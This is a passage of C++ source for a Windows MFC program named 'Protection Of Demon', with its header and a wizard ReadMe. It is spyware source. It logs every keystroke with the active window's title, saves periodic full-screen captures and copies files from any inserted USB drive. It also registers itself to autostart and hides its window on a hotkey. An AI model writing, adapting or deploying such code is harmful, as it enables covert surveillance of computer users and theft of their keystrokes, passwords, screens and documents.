// 来绘制该图标。对于使用文档/视图模型的 MFC 应用程序,
// 这将由框架自动完成。
void CProtectionOfDemonDlg::OnPaint()
{
if (IsIconic())
{
CPaintDC dc(this); // 用于绘制的设备上下文
SendMessage(WM_ICONERASEBKGND, reinterpret_cast<WPARAM>(dc.GetSafeHdc()), 0);
// 使图标在工作区矩形中居中
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
CRect rect;
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
// 绘制图标
dc.DrawIcon(x, y, m_hIcon);
}
else
{
CDialogEx::OnPaint();
}
}
//当用户拖动最小化窗口时系统调用此函数取得光标
//显示。
HCURSOR CProtectionOfDemonDlg::OnQueryDragIcon()
{
return static_cast<HCURSOR>(m_hIcon);
}
BOOL CProtectionOfDemonDlg::GetPropertyFromPrivateFile(char *lpszPrivateFilePath)
{
DWORD dwTemp = 0;
if(1 == ::GetPrivateProfileInt("Keyboard Record", "Keyboard Check", 0, lpszPrivateFilePath))
{
::CheckDlgButton(m_hWnd, IDC_CHECK_KEYBOARD_RECORD, BST_CHECKED);
}
m_Time.SetRange(0, 300);
dwTemp = ::GetPrivateProfileInt("Screen Capture", "Time", 0, lpszPrivateFilePath);
m_Time.SetPos(dwTemp);
char szTime[MAX_PATH] = {0};
::wsprintf(szTime, "%ds", dwTemp);
::SetWindowText(::GetDlgItem(m_hWnd, IDC_STATIC_TIMER), szTime);
::SetTimer(m_hWnd, 1, 1000*dwTemp, NULL);
if(1 == ::GetPrivateProfileInt("U Disk Copy", "All Files", 0, lpszPrivateFilePath))
{
::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_ALL_FILES, BST_CHECKED);
}
if(1 == ::GetPrivateProfileInt("U Disk Copy", "exe", 0, lpszPrivateFilePath))
{
::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_EXE, BST_CHECKED);
}
if(1 == ::GetPrivateProfileInt("U Disk Copy", "jpg_png_bmp", 0, lpszPrivateFilePath))
{
::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_JPG_PNG_BMP, BST_CHECKED);
}
if(1 == ::GetPrivateProfileInt("U Disk Copy", "doc_docx", 0, lpszPrivateFilePath))
{
::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_DOC_DOCX, BST_CHECKED);
}
if(1 == ::GetPrivateProfileInt("U Disk Copy", "ppt_pptx", 0, lpszPrivateFilePath))
{
::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_PPT_PPTX, BST_CHECKED);
}
if(1 == ::GetPrivateProfileInt("U Disk Copy", "xls_xlsx", 0, lpszPrivateFilePath))
{
::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_XLS_XLSX, BST_CHECKED);
}
if(1 == ::GetPrivateProfileInt("U Disk Copy", "mp3_wav", 0, lpszPrivateFilePath))
{
::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_MP3_WAV, BST_CHECKED);
}
if(1 == ::GetPrivateProfileInt("U Disk Copy", "mp4_avi_rmvb_mkv", 0, lpszPrivateFilePath))
{
::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_MP4_AVI_RMVB_MKV, BST_CHECKED);
}
if(1 == ::GetPrivateProfileInt("Auto Run", "AutoRun", 0, lpszPrivateFilePath))
{
::CheckDlgButton(m_hWnd, IDC_CHECK_AUTORUN, BST_CHECKED);
}
dwTemp = ::GetPrivateProfileString("Keyboard Record", "Keyboard Record Save Path", "", m_szKeyboardPath, MAX_PATH, lpszPrivateFilePath);
if(0 == dwTemp)
{
::GetModuleFileName(NULL, m_szKeyboardPath, MAX_PATH);
GetCurrentFile(m_szKeyboardPath, "Keyboard Record.txt");
}
::SetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_KEYBOARD_RECORD_SAVE_PATH), m_szKeyboardPath);
dwTemp = ::GetPrivateProfileString("Screen Capture", "Screen Capture Save Path", "", m_szScreenCapturePath, MAX_PATH, lpszPrivateFilePath);
if(0 == dwTemp)
{
::GetModuleFileName(NULL, m_szScreenCapturePath, MAX_PATH);
GetCurrentFile(m_szScreenCapturePath, "Screen Capture\\");
::CreateDirectory(m_szScreenCapturePath, NULL);
}
::SetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_IMAGE_RECORD), m_szScreenCapturePath);
dwTemp = ::GetPrivateProfileString("U Disk Copy", "U Disk Copy Save Path", "", m_szCopyFilePath, MAX_PATH, lpszPrivateFilePath);
if(0 == dwTemp)
{
::GetModuleFileName(NULL, m_szCopyFilePath, MAX_PATH);
GetCurrentFile(m_szCopyFilePath, "U Disk Copy\\");
::CreateDirectory(m_szCopyFilePath, NULL);
}
::SetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_FILE_RECORD), m_szCopyFilePath);
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_KEYBOARD_RECORD, BN_CLICKED), NULL);
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_AUTORUN, BN_CLICKED), NULL);
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_ALL_FILES, BN_CLICKED), NULL);
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_EXE, BN_CLICKED), NULL);
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_JPG_PNG_BMP, BN_CLICKED), NULL);
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_DOC_DOCX, BN_CLICKED), NULL);
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_PPT_PPTX, BN_CLICKED), NULL);
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_XLS_XLSX, BN_CLICKED), NULL);
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_MP3_WAV, BN_CLICKED), NULL);
::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_MP4_AVI_RMVB_MKV, BN_CLICKED), NULL);
return TRUE;
}
BOOL CProtectionOfDemonDlg::GetCurrentFile(char *lpszSrc, char *lpszDest)
{
char szBuffer[MAX_PATH] = {0};
::lstrcpy(szBuffer, lpszSrc);
::PathStripPath(szBuffer);
DWORD dwLen = ::lstrlen(lpszSrc) - ::lstrlen(szBuffer);
lpszSrc[dwLen] = '\0';
::lstrcat(lpszSrc, lpszDest);
return TRUE;
}
void CProtectionOfDemonDlg::OnBnClickedCheckKeyboardRecord()
{
// TODO: 在此添加控件通知处理程序代码
m_iState = ((CButton *)GetDlgItem(IDC_CHECK_KEYBOARD_RECORD))->GetCheck();
if(1 == m_iState) // Checked
{
::WritePrivateProfileString("Keyboard Record", "Keyboard Check", "1", m_szPrivateFilePath);
}
else // Unchecked
{
::WritePrivateProfileString("Keyboard Record", "Keyboard Check", "0", m_szPrivateFilePath);
}
}
void CProtectionOfDemonDlg::OnBnClickedButtonKeyboardRecordSavePath()
{
// TODO: 在此添加控件通知处理程序代码
OPENFILENAME stOF;
char szKeyboardPath[MAX_PATH] = {0};
::RtlZeroMemory(&stOF, sizeof(stOF));
stOF.lStructSize = sizeof(stOF);
stOF.hwndOwner = m_hWnd;
stOF.lpstrFilter = "txt files(*.txt)\0*.txt\0\0";
stOF.lpstrFile = szKeyboardPath;
stOF.nMaxFile = MAX_PATH;
stOF.Flags = OFN_PATHMUSTEXIST;
::GetOpenFileName(&stOF);
::lstrcpy(m_szKeyboardPath, szKeyboardPath);
::SetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_KEYBOARD_RECORD_SAVE_PATH), m_szKeyboardPath);
::WritePrivateProfileString("Keyboard Record", "Keyboard Record Save Path", szKeyboardPath, m_szPrivateFilePath);
}
FILE *g_fp = NULL;
LRESULT CProtectionOfDemonDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam)
{
// TODO: 在此添加专用代码和/或调用基类
switch(message)
{
case WM_INITDIALOG:
{
RAWINPUTDEVICE rid;
rid.usUsagePage = 0x01;
rid.usUsage = 0x06;
rid.dwFlags = RIDEV_INPUTSINK;
rid.hwndTarget = m_hWnd;
::RegisterRawInputDevices(&rid, 1, sizeof(rid));
break;
}
case WM_INPUT:
{
if(1 != m_iState)
{
break;
}
if(NULL == g_fp)
{
fopen_s(&g_fp, m_szKeyboardPath, "a+");
}
UINT uiSize = 0;
::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &uiSize, sizeof(RAWINPUTHEADER));
BYTE *lpBuf = new BYTE[uiSize];
::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpBuf, &uiSize, sizeof(RAWINPUTHEADER));
RAWINPUT *pRawInput = (RAWINPUT *)lpBuf;
if(RIM_TYPEKEYBOARD == pRawInput->header.dwType)
{
// WM_KEYDOWN --> 普通按键 WM_SYSKEYDOWN --> 系统按键(指的是ALT)
if(WM_KEYDOWN == pRawInput->data.keyboard.Message ||
WM_SYSKEYDOWN == pRawInput->data.keyboard.Message)
{
char szKey[MAX_PATH] = {0};
char szTitle[MAX_PATH] = {0};
char szText[MAX_PATH] = {0};
// BYTE *lpKeyState = new BYTE[0x100];
// ::GetKeyboardState(lpKeyState);
// ::ToAscii(pRawInput->data.keyboard.VKey, 0, lpKeyState, (LPWORD)szKey, 0);
::lstrcpy(szKey, GetKeyName(pRawInput->data.keyboard.VKey));
HWND hForegroundWnd = ::GetForegroundWindow();
::GetWindowText(hForegroundWnd, szTitle, MAX_PATH);
::wsprintf(szText, "[%s] %s\r\n", szTitle, szKey);
fseek(g_fp, 0, SEEK_END);
fwrite(szText, ::lstrlen(szText), 1, g_fp);
}
}
break;
}
case WM_TIMER:
{
int iIdEvent = (int)wParam;
switch(iIdEvent)
{
case 1:
{
SaveScreenCapture(m_szScreenCapturePath);
break;
}
case 2:
{
char szTemp[50] = {0};
::wsprintf(szTemp, "%ds Left", m_dwCountTime);
::SetWindowText(::GetDlgItem(m_hWnd, IDC_STATIC_SHUTDOWN), szTemp);
if(0 >= m_dwCountTime)
{
system("shutdown -p");
::KillTimer(m_hWnd, 2);
exit(0);
}
m_dwCountTime--;
break;
}
default:
break;
}
break;
}
default:
break;
}
return CDialogEx::WindowProc(message, wParam, lParam);
}
void CProtectionOfDemonDlg::OnReleasedcaptureSliderTime(NMHDR *pNMHDR, LRESULT *pResult)
{
// TODO: 在此添加控件通知处理程序代码
char szTime[MAX_PATH] = {0};
DWORD dwTime = m_Time.GetPos();
::wsprintf(szTime, "%ds", dwTime);
::SetWindowText(::GetDlgItem(m_hWnd, IDC_STATIC_TIMER), szTime);
::KillTimer(m_hWnd, 1);
::SetTimer(m_hWnd, 1, 1000*dwTime, NULL);
::WritePrivateProfileString("Screen Capture", "Time", szTime, m_szPrivateFilePath);
*pResult = 0;
}
void CProtectionOfDemonDlg::OnBnClickedButtonImageRecordSavePath()
{
// TODO: 在此添加控件通知处理程序代码
OPENFILENAME stOF;
char szScreenCapturePath[MAX_PATH] = {0};
::RtlZeroMemory(&stOF, sizeof(stOF));
stOF.lStructSize = sizeof(stOF);
stOF.hwndOwner = m_hWnd;
stOF.lpstrFilter = "all files(*.*)\0*.*\0\0";
stOF.lpstrFile = szScreenCapturePath;
stOF.nMaxFile = MAX_PATH;
stOF.Flags = OFN_PATHMUSTEXIST;
::GetOpenFileName(&stOF);
GetCurrentFile(szScreenCapturePath, "");
::lstrcpy(m_szScreenCapturePath, szScreenCapturePath);
::SetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_IMAGE_RECORD), m_szScreenCapturePath);
::WritePrivateProfileString("Screen Capture", "Screen Capture Save Path", szScreenCapturePath, m_szPrivateFilePath);
}
BOOL CProtectionOfDemonDlg::SaveScreenCapture(char *lpszSavePath)
{
char szPath[MAX_PATH] = {0};
HWND hDesktop = ::GetDesktopWindow();
HDC hdc = ::GetDC(hDesktop);
HDC mdc = ::CreateCompatibleDC(hdc);
DWORD dwWidth = ::GetSystemMetrics(SM_CXFULLSCREEN);
DWORD dwHeight = ::GetSystemMetrics(SM_CYFULLSCREEN);
HBITMAP bmp = ::CreateCompatibleBitmap(hdc, dwWidth, dwHeight);
HBITMAP holdbmp = (HBITMAP)::SelectObject(mdc, bmp);
::BitBlt(mdc, 0, 0, dwWidth, dwHeight, hdc, 0, 0, SRCCOPY);
::SelectObject(mdc, holdbmp);
CTime time = CTime::GetCurrentTime();
::CreateDirectory(m_szScreenCapturePath, NULL);
::wsprintf(szPath, "%s%.4d-%.2d-%.2d-%.2d-%.2d-%.2d.jpg", m_szScreenCapturePath,
time.GetYear(), time.GetMonth(), time.GetDay(),
time.GetHour(), time.GetMinute(), time.GetSecond());
CImage *pImage = new CImage;
pImage->Attach(bmp);
pImage->Save(szPath);
delete pImage;
pImage = NULL;
::DeleteObject(bmp);
::DeleteDC(mdc);
::ReleaseDC(hDesktop, hdc);
return TRUE;
}
void CProtectionOfDemonDlg::OnBnClickedCheckAutorun()
{
// TODO: 在此添加控件通知处理程序代码
char szFilePath[MAX_PATH] = {0};
::GetModuleFileName(NULL, szFilePath, MAX_PATH);
HKEY hKey;
::RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey);
int iState = ((CButton *)GetDlgItem(IDC_CHECK_AUTORUN))->GetCheck();
if(1 == iState) // Checked
{
::RegSetValueEx(hKey, "DemonProtectAutoRun", 0, REG_SZ, (BYTE *)szFilePath, ::lstrlen(szFilePath));
::WritePrivateProfileString("Auto Run", "AutoRun", "1", m_szPrivateFilePath);
}
else // Unchecked
{
::RegDeleteValue(hKey, "DemonProtectAutoRun");
::WritePrivateProfileString("Auto Run", "AutoRun", "0", m_szPrivateFilePath);
}
::RegCloseKey(hKey);
}
void CProtectionOfDemonDlg::OnBnClickedButtonShutdownTimer()
{
// TODO: 在此添加控件通知处理程序代码
char szBuf[MAX_PATH] = {0};
::GetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_HOUR), szBuf, MAX_PATH);
DWORD dwHour = atoi(szBuf);
::GetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_MINUTE), szBuf, MAX_PATH);
DWORD dwMinute = atoi(szBuf);
::GetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_SECOND), szBuf, MAX_PATH);
DWORD dwSecond = atoi(szBuf);
m_dwCountTime = dwSecond + 60*dwMinute + 60*60*dwHour;
::KillTimer(m_hWnd, 2);
::SetTimer(m_hWnd, 2, 1000, NULL);
}
void CProtectionOfDemonDlg::OnBnClickedButtonFileRecordSavePath()
{
// TODO: 在此添加控件通知处理程序代码
OPENFILENAME stOF;
char szCopyFilePath[MAX_PATH] = {0};
::RtlZeroMemory(&stOF, sizeof(stOF));
stOF.lStructSize = sizeof(stOF);
stOF.hwndOwner = m_hWnd;
stOF.lpstrFilter = "all files(*.*)\0*.*\0\0";
stOF.lpstrFile = szCopyFilePath;
stOF.nMaxFile = MAX_PATH;
stOF.Flags = OFN_PATHMUSTEXIST;
::GetOpenFileName(&stOF);
GetCurrentFile(szCopyFilePath, "");
::lstrcpy(m_szCopyFilePath, szCopyFilePath);
::SetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_FILE_RECORD), m_szCopyFilePath);
::WritePrivateProfileString("U Disk Copy", "U Disk Copy Save Path", szCopyFilePath, m_szPrivateFilePath);
}
void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileAllFiles()
{
// TODO: 在此添加控件通知处理程序代码
iState[0] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_ALL_FILES))->GetCheck();
if(1 == iState[0]) // Checked
{
::WritePrivateProfileString("U Disk Copy", "All Files", "1", m_szPrivateFilePath);
}
else // Unchecked
{
::WritePrivateProfileString("U Disk Copy", "All Files", "0", m_szPrivateFilePath);
}
}
void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileExe()
{
// TODO: 在此添加控件通知处理程序代码
iState[1] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_EXE))->GetCheck();
if(1 == iState[1]) // Checked
{
::WritePrivateProfileString("U Disk Copy", "exe", "1", m_szPrivateFilePath);
}
else // Unchecked
{
::WritePrivateProfileString("U Disk Copy", "exe", "0", m_szPrivateFilePath);
}
}
void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileJpgPngBmp()
{
// TODO: 在此添加控件通知处理程序代码
iState[2] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_JPG_PNG_BMP))->GetCheck();
if(1 == iState[2]) // Checked
{
::WritePrivateProfileString("U Disk Copy", "jpg_png_bmp", "1", m_szPrivateFilePath);
}
else // Unchecked
{
::WritePrivateProfileString("U Disk Copy", "jpg_png_bmp", "0", m_szPrivateFilePath);
}
}
void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileDocDocx()
{
// TODO: 在此添加控件通知处理程序代码
iState[3] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_DOC_DOCX))->GetCheck();
if(1 == iState[3]) // Checked
{
::WritePrivateProfileString("U Disk Copy", "doc_docx", "1", m_szPrivateFilePath);
}
else // Unchecked
{
::WritePrivateProfileString("U Disk Copy", "doc_docx", "0", m_szPrivateFilePath);
}
}
void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileXlsXlsx()
{
// TODO: 在此添加控件通知处理程序代码
iState[4] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_XLS_XLSX))->GetCheck();
if(1 == iState[4]) // Checked
{
::WritePrivateProfileString("U Disk Copy", "xls_xlsx", "1", m_szPrivateFilePath);
}
else // Unchecked
{
::WritePrivateProfileString("U Disk Copy", "xls_xlsx", "0", m_szPrivateFilePath);
}
}
void CProtectionOfDemonDlg::OnBnClickedCheckCopyFilePptPptx()
{
// TODO: 在此添加控件通知处理程序代码
iState[5] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_PPT_PPTX))->GetCheck();
if(1 == iState[5]) // Checked
{
::WritePrivateProfileString("U Disk Copy", "ppt_pptx", "1", m_szPrivateFilePath);
}
else // Unchecked
{
::WritePrivateProfileString("U Disk Copy", "ppt_pptx", "0", m_szPrivateFilePath);
}
}
void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileMp3Wav()
{
// TODO: 在此添加控件通知处理程序代码
iState[6] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_MP3_WAV))->GetCheck();
if(1 == iState[6]) // Checked
{
::WritePrivateProfileString("U Disk Copy", "mp3_wav", "1", m_szPrivateFilePath);
}
else // Unchecked
{
::WritePrivateProfileString("U Disk Copy", "mp3_wav", "0", m_szPrivateFilePath);
}
}
void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileMp4AviRmvbMkv()
{
// TODO: 在此添加控件通知处理程序代码
iState[7] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_MP4_AVI_RMVB_MKV))->GetCheck();
if(1 == iState[7]) // Checked
{
::WritePrivateProfileString("U Disk Copy", "mp4_avi_rmvb_mkv", "1", m_szPrivateFilePath);
}
else // Unchecked
{
::WritePrivateProfileString("U Disk Copy", "mp4_avi_rmvb_mkv", "0", m_szPrivateFilePath);
}
}
BOOL CProtectionOfDemonDlg::OnDeviceChange(UINT nEventType, DWORD dwData)
{
switch(nEventType)
{
default:
{
char szDriver[4] = "A:\\";
for(szDriver[0] = 'A'; szDriver[0] <= 'Z'; szDriver[0]++)
{
if(DRIVE_REMOVABLE == ::GetDriveType(szDriver))
{
MYSTRUCT stMS;
stMS.lpThis = this;
::lstrcpy(stMS.szDriver, szDriver);
::lstrcpy(stMS.szSavePath, m_szCopyFilePath);
HANDLE hThread = ::CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)UDiskCopyThread, (LPVOID)(&stMS), 0, NULL);
::WaitForSingleObject(hThread, INFINITE);
}
}
break;
}
}
return true;
}
UINT CProtectionOfDemonDlg::UDiskCopyThread(LPVOID lpVoid)
{
MYSTRUCT *pstMS = (MYSTRUCT *)lpVoid;
CProtectionOfDemonDlg *pThis = (CProtectionOfDemonDlg *)pstMS->lpThis;
char szDriver[4] = {0};
::lstrcpy(szDriver, pstMS->szDriver);
szDriver[2] = '\0';
pThis->SearchAndCopyFile(szDriver, pstMS->szSavePath);
return 0;
}
void CProtectionOfDemonDlg::SearchAndCopyFile(char *strSrc, char *strDest)
{
char *strFileName = new char[256];
// 创建目录
::CreateDirectory(strDest, NULL);
// 搜索指定类型文件并复制
::wsprintf(strFileName, "%s\\*.*", strSrc);
WIN32_FIND_DATA FileData;
HANDLE hHandle = ::FindFirstFile(strFileName, &FileData);
if(INVALID_HANDLE_VALUE != hHandle)
{
do
{
char *strTempSrc = new char[MAX_PATH];
char *strTempDest = new char[MAX_PATH];
::wsprintf(strTempSrc,"%s\\%s", strSrc, FileData.cFileName);
::wsprintf(strTempDest,"%s\\%s", strDest, FileData.cFileName);
// 不知为何,会出现 . 字符,一定要过滤掉,否则会进入死循环里
if('.' == FileData.cFileName[0])
{
continue; // 过滤这两个目录
}
// 判断是否是目录,若是目录,则进行递归遍历
if(FileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
{
SearchAndCopyFile(strTempSrc, strTempDest);
}
if(1 == iState[0]) // 复制所有文件
{
::CopyFile(strTempSrc, strTempDest, true);
}
else
{
char *strFormat = new char[10];
// 获取文件格式
GetFormat(FileData.cFileName, strFormat);
// exe类
if(1 == iState[1])
{
if(0 == ::lstrcmpi(strFormat, "exe"))
{
::CopyFile(strTempSrc, strTempDest, true);
}
}
// 图片类
if(1 == iState[2])
{
if(0 == ::lstrcmpi(strFormat, "jpg") ||
0 == ::lstrcmpi(strFormat, "png") ||
0 == ::lstrcmpi(strFormat, "bmp"))
{
::CopyFile(strTempSrc, strTempDest, true);
}
}
// Doc类
if(1 == iState[3])
{
if(0 == ::lstrcmpi(strFormat, "doc") ||
0 == ::lstrcmpi(strFormat, "docx"))
{
::CopyFile(strTempSrc, strTempDest, true);
}
}
// PPT类
if(1 == iState[4])
{
if(0 == ::lstrcmpi(strFormat, "ppt") ||
0 == ::lstrcmpi(strFormat, "pptx"))
{
::CopyFile(strTempSrc, strTempDest, true);
}
}
// xls类
if(1 == iState[5])
{
if(0 == ::lstrcmpi(strFormat, "xls") ||
0 == ::lstrcmpi(strFormat, "xlsx"))
{
::CopyFile(strTempSrc, strTempDest, true);
}
}
// mp3类
if(1 == iState[6])
{
if(0 == ::lstrcmpi(strFormat, "mp3") ||
0 == ::lstrcmpi(strFormat, "wav"))
{
::CopyFile(strTempSrc, strTempDest, true);
}
}
// mp4类
if(1 == iState[7])
{
if(0 == ::lstrcmpi(strFormat, "mp4") ||
0 == ::lstrcmpi(strFormat, "avi") ||
0 == ::lstrcmpi(strFormat, "rmvb") ||
0 == ::lstrcmpi(strFormat, "mkv"))
{
::CopyFile(strTempSrc, strTempDest, true);
}
}
delete strFormat;
strFormat = NULL;
}
delete strTempSrc;
delete strTempDest;
strTempSrc = NULL;
strTempDest = NULL;
}while(::FindNextFile(hHandle, &FileData));
}
::FindClose(hHandle);
delete strFileName;
strFileName = NULL;
}
void CProtectionOfDemonDlg::GetFormat(char *strSrc, char *strDest)
{
int len = strlen(strSrc);
bool bFlag = false;
int j = 0;
for(int i = 0; i < len; i++)
{
if(bFlag)
{
strDest[j++] = strSrc[i];
}
if('.' == strSrc[i])
{
bFlag = true;
}
}
strDest[j] = '\0';
}
LRESULT CProtectionOfDemonDlg::OnHotKey(WPARAM wParam,LPARAM lParam)
{
//wParam是注册热键的IDlParam是关于按键的信息
if(1000 == wParam)
{
if(m_bHidden) // 隐藏
{
::MoveWindow(m_hWnd, 0, 0, m_rcOldRect.right-m_rcOldRect.left,
m_rcOldRect.bottom-m_rcOldRect.top, FALSE);
::ShowWindow(m_hWnd, SW_HIDE);
m_bHidden = FALSE;
}
else // 显示
{
::MoveWindow(m_hWnd, 0, 0, m_rcOldRect.right-m_rcOldRect.left,
m_rcOldRect.bottom-m_rcOldRect.top, FALSE);
::ShowWindow(m_hWnd, SW_SHOW);
m_bHidden = TRUE;
}
}
return 0;
}

View File

@ -0,0 +1,84 @@
// Protection Of DemonDlg.h : 头文件
//
#pragma once
#include "afxcmn.h"
#include "Winuser.h"
typedef struct MYSTRUCT
{
LPVOID lpThis;
char szDriver[4];
char szSavePath[MAX_PATH];
};
// CProtectionOfDemonDlg 对话框
class CProtectionOfDemonDlg : public CDialogEx
{
private:
int m_iState;
char m_szPrivateFilePath[MAX_PATH];
char m_szKeyboardPath[MAX_PATH];
char m_szScreenCapturePath[MAX_PATH];
char m_szCopyFilePath[MAX_PATH];
DWORD m_dwCountTime;
int iState[8];
BOOL m_bHidden;
RECT m_rcOldRect;
private:
BOOL GetPropertyFromPrivateFile(char *lpszPrivateFilePath);
BOOL GetCurrentFile(char *lpszSrc, char *lpszDest);
BOOL SaveScreenCapture(char *lpszSavePath);
public:
BOOL OnDeviceChange(UINT nEventType, DWORD dwData);
LRESULT OnHotKey(WPARAM wParam,LPARAM lParam);
static UINT UDiskCopyThread(LPVOID lpVoid);
void SearchAndCopyFile(char *strSrc, char *strDest);
void GetFormat(char *strSrc, char *strDest);
// 构造
public:
CProtectionOfDemonDlg(CWnd* pParent = NULL); // 标准构造函数
// 对话框数据
enum { IDD = IDD_PROTECTIONOFDEMON_DIALOG };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
// 实现
protected:
HICON m_hIcon;
// 生成的消息映射函数
virtual BOOL OnInitDialog();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
afx_msg void OnPaint();
afx_msg HCURSOR OnQueryDragIcon();
DECLARE_MESSAGE_MAP()
public:
afx_msg void OnFileExit();
afx_msg void OnHelpAbout();
CSliderCtrl m_Time;
afx_msg void OnBnClickedCheckKeyboardRecord();
virtual LRESULT WindowProc(UINT message, WPARAM wParam, LPARAM lParam);
afx_msg void OnBnClickedButtonKeyboardRecordSavePath();
// afx_msg void OnNMCustomdrawSliderTime(NMHDR *pNMHDR, LRESULT *pResult);
afx_msg void OnReleasedcaptureSliderTime(NMHDR *pNMHDR, LRESULT *pResult);
afx_msg void OnBnClickedButtonImageRecordSavePath();
afx_msg void OnBnClickedCheckAutorun();
afx_msg void OnBnClickedButtonShutdownTimer();
afx_msg void OnBnClickedButtonFileRecordSavePath();
afx_msg void OnBnClickedCheckCopyFileAllFiles();
afx_msg void OnBnClickedCheckCopyFileExe();
afx_msg void OnBnClickedCheckCopyFileJpgPngBmp();
afx_msg void OnBnClickedCheckCopyFileDocDocx();
afx_msg void OnBnClickedCheckCopyFileXlsXlsx();
afx_msg void OnBnClickedCheckCopyFilePptPptx();
afx_msg void OnBnClickedCheckCopyFileMp3Wav();
afx_msg void OnBnClickedCheckCopyFileMp4AviRmvbMkv();
};

70
源代码/ReadMe.txt Normal file
View File

@ -0,0 +1,70 @@
================================================================================
MICROSOFT 基础类库 : Protection Of Demon 项目概述
===============================================================================
应用程序向导已为您创建了此 Protection Of Demon 应用程序。此应用程序不仅演示 Microsoft 基础类的基本使用方法,还可作为您编写应用程序的起点。
本文件概要介绍组成 Protection Of Demon 应用程序的每个文件的内容。
Protection Of Demon.vcxproj
这是使用应用程序向导生成的 VC++ 项目的主项目文件,其中包含生成该文件的 Visual C++ 的版本信息,以及有关使用应用程序向导选择的平台、配置和项目功能的信息。
Protection Of Demon.vcxproj.filters
这是使用“应用程序向导”生成的 VC++ 项目筛选器文件。它包含有关项目文件与筛选器之间的关联信息。在 IDE 中,通过这种关联,在特定节点下以分组形式显示具有相似扩展名的文件。例如,“.cpp”文件与“源文件”筛选器关联。
Protection Of Demon.h
这是应用程序的主头文件。
其中包括其他项目特定的标头(包括 Resource.h并声明 CProtectionOfDemonApp 应用程序类。
Protection Of Demon.cpp
这是包含应用程序类 CProtectionOfDemonApp 的主应用程序源文件。
Protection Of Demon.rc
这是程序使用的所有 Microsoft Windows 资源的列表。它包括 RES 子目录中存储的图标、位图和光标。此文件可以直接在 Microsoft Visual C++ 中进行编辑。项目资源包含在 2052 中。
res\Protection Of Demon.ico
这是用作应用程序图标的图标文件。此图标包括在主资源文件 Protection Of Demon.rc 中。
res\ProtectionOfDemon.rc2
此文件包含不在 Microsoft Visual C++ 中进行编辑的资源。您应该将不可由资源编辑器编辑的所有资源放在此文件中。
/////////////////////////////////////////////////////////////////////////////
应用程序向导创建一个对话框类:
Protection Of DemonDlg.h、Protection Of DemonDlg.cpp - 对话框
这些文件包含 CProtectionOfDemonDlg 类。此类定义应用程序的主对话框的行为。对话框模板包含在 Protection Of Demon.rc 中,该文件可以在 Microsoft Visual C++ 中编辑。
/////////////////////////////////////////////////////////////////////////////
其他功能:
ActiveX 控件
该应用程序包含对使用 ActiveX 控件的支持。
Windows 套接字
应用程序包含对通过 TCP/IP 网络建立通信的支持。
/////////////////////////////////////////////////////////////////////////////
其他标准文件:
StdAfx.h, StdAfx.cpp
这些文件用于生成名为 Protection Of Demon.pch 的预编译头 (PCH) 文件和名为 StdAfx.obj 的预编译类型文件。
Resource.h
这是标准头文件,可用于定义新的资源 ID。Microsoft Visual C++ 将读取并更新此文件。
Protection Of Demon.manifest
Windows XP 使用应用程序清单文件来描述特定版本的并行程序集的应用程序依赖项。加载程序使用这些信息来从程序集缓存中加载相应的程序集,并保护其不被应用程序访问。应用程序清单可能会包含在内,以作为与应用程序可执行文件安装在同一文件夹中的外部 .manifest 文件进行重新分发,它还可能以资源的形式包含在可执行文件中。
